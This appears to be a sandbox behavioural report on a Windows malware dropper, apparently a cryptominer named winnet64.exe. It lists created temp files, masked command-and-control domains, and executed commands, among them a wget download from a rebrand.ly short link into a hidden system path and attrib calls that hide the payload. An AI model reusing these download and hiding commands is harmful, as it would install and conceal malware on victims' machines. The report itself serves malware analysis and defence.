Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im winnet64.exe
Modifies file system
Creates the following files
- %TEMP%\cfoadn0v.bat
- %TEMP%\qb113707.21\kll.exe
- %TEMP%\qb113707.21\wget.exe
- nul
Network activity
Connects to
- 're##and.ly':443
- 'sv##.win':80
TCP
HTTP GET requests
- http://www.sv##.win/A1/mfiles/winnet64.exe
Other
- 're##and.ly':443
UDP
- DNS ASK google.com
- DNS ASK re##and.ly
- DNS ASK sv##.win
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%TEMP%\qb113707.21\wget.exe' "https://rebrand.ly/minet64v2" -O "%ALLUSERSPROFILE%\Microsoft\Network\winnet64.exe" --no-verbose
- '%TEMP%\qb113707.21\kll.exe'
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\CFOADN0V.bat" "<Full path to file>" "' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\CFOADN0V.bat" "<Full path to file>" "
- '<SYSTEM32>\mode.com' con: cols=15 lines=1
- '<SYSTEM32>\ping.exe' www.google.com -n 1 -w 1000
- '<SYSTEM32>\timeout.exe' /t 2 /nobreak
- '<SYSTEM32>\attrib.exe' +h +s "%ALLUSERSPROFILE%\Microsoft\Network\winnet64.exe"
- '<SYSTEM32>\timeout.exe' /t 1 /nobreak
